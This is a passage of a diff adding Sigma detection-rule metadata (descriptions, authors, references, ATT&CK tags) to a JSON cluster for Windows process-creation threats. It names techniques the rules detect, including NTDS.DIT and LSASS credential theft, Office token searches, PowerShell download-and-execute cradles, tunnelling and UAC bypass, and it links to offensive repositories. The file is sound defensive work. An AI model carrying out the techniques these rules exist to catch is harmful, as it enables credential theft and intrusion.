"431a1fdb-4799-4f3b-91c3-a683b003fc49", + "value": "New Kernel Driver Via SC.EXE" + }, + { + "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/14", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_new_service_creation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "17a1be64-8d88-40bf-b5ff-a4f7a50ebcc8", + "value": "Suspicious New Service Creation" + }, + { + "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/14", + "falsepositive": [ + "Another tool that uses the command line switches of Ngrok", + "Ngrok http 3978 (https://docs.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)" + ], + "filename": "proc_creation_win_susp_ngrok_pua.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://ngrok.com/docs", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", + "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", + "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/.", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ] + }, + "uuid": "ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31", + "value": "Ngrok Usage" + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", + "meta": { + "author": "frack113", + "creation_date": "2021/12/10", + "falsepositive": [ + "Network administrator computer" + ], + "filename": "proc_creation_win_susp_nmap.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://nmap.org/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nmap.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "f6ecd1cf-19b8-4488-97f6-00f0924991a3", + "value": "Suspicious Nmap Execution" + }, + { + "description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)", + "meta": { + "author": "Max Altgelt", + "creation_date": "2021/12/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_non_exe_image.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://pentestlaboratories.com/2021/12/08/process-ghosting/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a", + "value": "Execution of Suspicious File Type Extension" + }, + { + "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_ntdll_type_redirect.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.x86matthew.com/view_post?id=ntdll_pipe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdll_type_redirect.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2", + "value": "Suspicious Ntdll Pipe Redirection" + }, + { + "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_ntds.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://pentestlab.blog/tag/ntds-dit/", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://github.com/zcgonvh/NTDSDumpEx", + "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "8bc64091-6875-4881-aaf9-7bd25b5dda08", + "value": "Suspicious Process Patterns NTDS.DIT Exfil" + }, + { + "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/14", + "falsepositive": [ + "Legitimate usage to restore snapshots", + "Legitimate admin activity" + ], + "filename": "proc_creation_win_susp_ntdsutil_usage.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5", + "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)" + }, + { + "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service", + "meta": { + "author": "Elastic (idea), Tobias Michalski", + "creation_date": "2022/05/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_ntlmrelay.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/med0x2e/status/1520402518685200384", + "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1212" + ] + }, + "uuid": "bb76d96b-821c-47cf-944b-7ce377864492", + "value": "Suspicious WebDav Client Execution" + }, + { + "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", + "meta": { + "author": "Nasreddine Bencherchali @nas_bench", + "creation_date": "2021/12/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "c6c56ada-612b-42d1-9a29-adad3c5c2c1e", + "value": "Suspicious NT Resource Kit Auditpol Usage" + }, + { + "description": "Detects defence evasion attempt via odbcconf.exe execution to load DLL", + "meta": { + "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate use of odbcconf.exe by legitimate user" + ], + "filename": "proc_creation_win_susp_odbcconf.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "https://twitter.com/Hexacorn/status/1187143326673330176", + "https://redcanary.com/blog/raspberry-robin/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.008" + ] + }, + "uuid": "65d2be45-8600-4042-b4c0-577a1ff8a60e", + "value": "Application Whitelisting Bypass via DLL Loaded by odbcconf.exe" + }, + { + "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/25", + "falsepositive": [ + "Legitimate command-lines containing the string mentioned in the command-line" + ], + "filename": "proc_creation_win_susp_office_token_search.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://mrd0x.com/stealing-tokens-from-office-applications/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ] + }, + "uuid": "6d3a3952-6530-44a3-8554-cf17c116c615", + "value": "Suspicious Office Token Search Via CLI" + }, + { + "description": "The OpenWith.exe executes other binary", + "meta": { + "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)", + "creation_date": "2019/10/12", + "falsepositive": [ + "Legitimate use of OpenWith.exe by legitimate user" + ], + "filename": "proc_creation_win_susp_openwith.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", + "https://twitter.com/harr0ey/status/991670870384021504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "cec8e918-30f7-4e2d-9bfa-a59cc97ae60f", + "value": "OpenWith.exe Executes Specified Binary" + }, + { + "description": "Detects EnableUnsafeClientMailRules used for Script Execution from Outlook", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/12/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_outlook.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/sensepost/ruler", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.t1202" + ] + }, + "uuid": "e212d415-0e93-435f-9e1a-f29005bb4723", + "value": "Suspicious Execution from Outlook" + }, + { + "description": "Detects a suspicious program execution in Outlook temp folder", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_outlook_temp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook_temp.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "a018fdc3-46a3-44e5-9afb-2cd4af1d4b39", + "value": "Execution in Outlook Temp Folder" + }, + { + "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_parents.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/x86matthew/status/1505476263464607744?s=12", + "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml" + ], + "tags": "No established tags" + }, + "uuid": "cbec226f-63d9-4eca-9f52-dfb6652f24df", + "value": "Suspicious Process Parents" + }, + { + "description": "Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_parent_of_conhost.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "cbb9e3d1-2386-4e59-912e-62f1484f7a89", + "value": "Conhost Spawned By Suspicious Parent Process" + }, + { + "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2022/10/10", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_pchunter.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.xuetr.com/", + "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", + "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml" + ], + "tags": "No established tags" + }, + "uuid": "fca949cc-79ca-446e-8064-01aa7e52ece5", + "value": "PCHunter Usage" + }, + { + "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", + "meta": { + "author": "Julia Fomina, oscd.community", + "creation_date": "2020/10/05", + "falsepositive": [ + "Use of Program Compatibility Troubleshooter Helper" + ], + "filename": "proc_creation_win_susp_pcwutl.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/", + "https://twitter.com/harr0ey/status/989617817849876488", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "9386d78a-7207-4048-9c9f-a93a7c2d1c05", + "value": "Code Execution via Pcwutl.dll" + }, + { + "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", + "meta": { + "author": "Julia Fomina, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate use of Pester for writing tests for Powershell scripts and modules" + ], + "filename": "proc_creation_win_susp_pester.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Oddvarmoe/status/993383596244258816", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "59e938ff-0d6d-4dc3-b13f-36cc28734d4e", + "value": "Execute Code with Pester.bat" + }, + { + "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/20", + "falsepositive": [ + "Legitimate use of Pester for writing tests for Powershell scripts and modules" + ], + "filename": "proc_creation_win_susp_pester_parent.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Oddvarmoe/status/993383596244258816", + "https://twitter.com/_st0pp3r_/status/1560072680887525378", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "18988e1b-9087-4f8a-82fe-0414dce49878", + "value": "Execute Code with Pester.bat as Parent" + }, + { + "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", + "meta": { + "author": "Ilya Krestinichev", + "creation_date": "2022/11/03", + "falsepositive": [ + "False positive could occur in admin scripts that execute inline" + ], + "filename": "proc_creation_win_susp_ping_del.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "54786ddc-5b8a-11ed-9b6a-0242ac120002", + "value": "Suspicious Ping And Del Combination" + }, + { + "description": "Detects a ping command that uses a hex encoded IP address", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/03/23", + "falsepositive": [ + "Unlikely, because no sane admin pings IP addresses in a hexadecimal form" + ], + "filename": "proc_creation_win_susp_ping_hex_ip.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", + "https://twitter.com/vysecurity/status/977198418354491392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1027" + ] + }, + "uuid": "1a0d4aba-7668-4365-9ce4-6d79ab088dfd", + "value": "Ping Hex IP" + }, + { + "description": "Detects suspicious Plink tunnel port forwarding to a local port", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/19", + "falsepositive": [ + "Administrative activity using a remote port forwarding to a local port" + ], + "filename": "proc_creation_win_susp_plink_port_forward.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/", + "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001" + ] + }, + "uuid": "48a61b29-389f-4032-b317-b30de6b95314", + "value": "Suspicious Plink Port Forwarding" + }, + { + "description": "Execution of plink to perform data exfiltration and tunneling", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/04", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_plink_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ] + }, + "uuid": "f38ce0b9-5e97-4b47-a211-7dc8d8b871da", + "value": "Suspicious Plink Usage RDP Tunneling" + }, + { + "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/24", + "falsepositive": [ + "Other tools that work with encoded scripts in the command line instead of script files" + ], + "filename": "proc_creation_win_susp_powershell_cmd_patterns.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_cmd_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c", + "value": "Suspicious PowerShell Encoded Command Patterns" + }, + { + "description": "Detects suspicious ways to download files or content using PowerShell", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/24", + "falsepositive": [ + "Scripts or tools that download files" + ], + "filename": "proc_creation_win_susp_powershell_download_cradles.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml" + ], + "tags": "No established tags" + }, + "uuid": "6e897651-f157-4d8f-aaeb-df8151488385", + "value": "PowerShell Web Download" + }, + { + "description": "Detects suspicious ways to download files or content and execute them using PowerShell", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/24", + "falsepositive": [ + "Scripts or tools that download files and execute them" + ], + "filename": "proc_creation_win_susp_powershell_download_iex.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775", + "value": "PowerShell Web Download and Execution" + }, + { + "description": "Detects suspicious powershell command line parameters used in Empire", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/04/20", + "falsepositive": [ + "Other tools that incidentally use the same command line parameters" + ], + "filename": "proc_creation_win_susp_powershell_empire_launch.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "79f4ede3-402e-41c8-bc3e-ebbf5f162581", + "value": "Empire PowerShell Launch Parameters" + }, + { + "description": "Detects some Empire PowerShell UAC bypass methods", + "meta": { + "author": "Ecco", + "creation_date": "2019/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_powershell_empire_uac_bypass.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_uac_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ] + }, + "uuid": "3268b746-88d8-4cd3-bffc-30077d02c787", + "value": "Empire PowerShell UAC Bypass" + }, + { + "description": "Commandline to launch powershell with a base64 payload", + "meta": { + "author": "frack113", + "creation_date": "2022/01/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_powershell_encode.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", + "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "fb843269-508c-4b76-8b8d-88679db22ce7", + "value": "Suspicious Execution of Powershell with Base64" + }, + { + "description": "Detects suspicious encoded character syntax often used for defense evasion", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_powershell_encoded_param.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1281103918693482496", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encoded_param.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "e312efd0-35a1-407f-8439-b8d434b438a6", + "value": "PowerShell Encoded Character Syntax" + }, + { + "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", + "meta": { + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community", + "creation_date": "2018/09/03", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_susp_powershell_enc_cmd.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_enc_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ca2092a1-c273-4878-9b4b-0d60115bf5ea", + "value": "Suspicious Encoded PowerShell Command Line" + }, + { + "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/04/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_powershell_getprocess_lsass.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ] + }, + "uuid": "b2815d0d-7481-4bf0-9b6c-a4c48a94b349", + "value": "PowerShell Get-Process LSASS" + }, + { + "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", + "meta": { + "author": "John Lambert (rule)", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_powershell_hidden_b64_cmd.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f26c6093-6f14-4b12-800f-0fcb46f5ffd0", + "value": "Malicious Base64 Encoded PowerShell Keywords in Command Lines" + }, + { + "description": "Detects suspicious ways to run Invoke-Execution using IEX acronym", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/24", + "falsepositive": [ + "Legitimate scripts that use IEX" + ], + "filename": "proc_creation_win_susp_powershell_iex_patterns.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml" + ], + "tags": "No established tags" 